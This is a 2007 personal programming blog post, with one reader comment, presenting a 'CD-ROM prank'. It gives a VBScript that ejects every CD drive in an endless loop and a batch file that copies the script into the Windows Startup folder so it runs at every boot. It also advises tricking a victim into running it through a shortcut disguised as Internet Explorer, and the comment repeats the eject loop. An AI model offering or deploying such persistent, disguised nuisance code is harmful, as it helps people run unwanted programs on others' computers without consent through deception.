I am a 3x Entrepreneurs. Love writing code and sharing what I learn everyday as a programmer and an entrepreneur.

October 26, 2007

Open CD-Rom Prank...

Here I will show you a basic VBS script that opens a cd drive every time found closed. so ultimately always opens CD drive till closed just copy paste this code into Notepad (any basic ANSI standard text editor) and save as CDfun.vbs and dont forget the .vbs part


set wmp = createObject("wmplayer.ocx.7")
set drives = wmp.cdromCollection

sub open_saysame()
on error resume next
do
if drives.count >= 1 then
for i = 0 to drives.count - 1
drives.item(i).eject()
next
end if
loop
end sub

open_saysame()


now this is funny but what if it was even funnier. what if every time you started you r computer it loaded? that could make it even better... so open a new notepad document (blank) and insert this code into it NOTE: numbered to show which line it is.

1:)copy CDfun.vbs "c:\Documents and Settings\%username%\Start Menu\Programs\Startup\"
2:)CDfun.vbs

Save this as run.bat, now comes the fun part. all you need to do is get them to somehow open this run.bat. there are many ways. one way is to make a shortcut to it called "internet Explorer" and right click to change properties on icon. that way it will look just like Internet Explorer.

**Note:U can also download the already made such file from free download section of this blog...

2 comments:

  1. Do
    Set A = CreateObject("WMPlayer.OCX.7" )
    Set colcdroms = A.cdromCollection
    if colcdroms.count>=1 then
    for i=0 to colCdRoms.count - 1
    colcdroms.item(i).eject
    next ' cdrom
    End if
    loop

    ReplyDelete